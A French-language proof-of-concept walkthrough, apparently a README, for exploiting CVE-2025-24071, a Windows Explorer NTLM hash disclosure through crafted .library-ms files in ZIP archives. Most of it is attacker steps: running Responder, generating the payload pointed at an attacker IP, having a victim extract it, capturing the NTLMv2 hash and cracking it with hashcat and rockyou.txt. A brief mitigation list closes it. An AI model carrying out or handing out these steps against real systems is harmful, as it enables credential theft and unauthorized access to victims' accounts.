CVE-2025-24071-POC-NTLMHashDisclosure

• Déclenche l'authentification SMB automatique vers un partage contrôlé par l'attaquant.
• Aucune interaction requise — l'Explorateur Windows initie cette authentification NTLM automatiquement.
• Entraîne une fuite de hash NTLMv2 (divulgation d'informations).
• Concerne Windows 10/11 toutes versions, en particulier 11 23H2.

Préparer l'environnement de l'attaquant

sudo apt update && sudo apt install responder -y

Démarrer Responder

sudo responder -I eth0

Exécuter le script d'exploitation

Installer le module Python requis

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

Cela générera : testpayload.library-ms testpayload.zip

Tester sur la machine victime

Transférez testpayload.zip vers la machine de test Windows 11. Extrayez le ZIP à l'aide de l'Explorateur Windows. Cela amène Windows à tenter d'accéder au chemin SMB, divulguant ainsi le hash NTLM.

Capturer le hash

responder -I etho0

Préparer le fichier de hash

créez le fichier hash.txt

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

Choisir une liste de mots

La plus courante : rockyou.txt

Exécuter Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

Atténuation

• Bloquez le SMB sortant (TCP 445) au niveau des pare-feu.
• Désactivez l'authentification automatique aux partages SMB non fiables (stratégie de groupe).
• Surveillez l'extraction de fichiers .library-ms et les connexions SMB.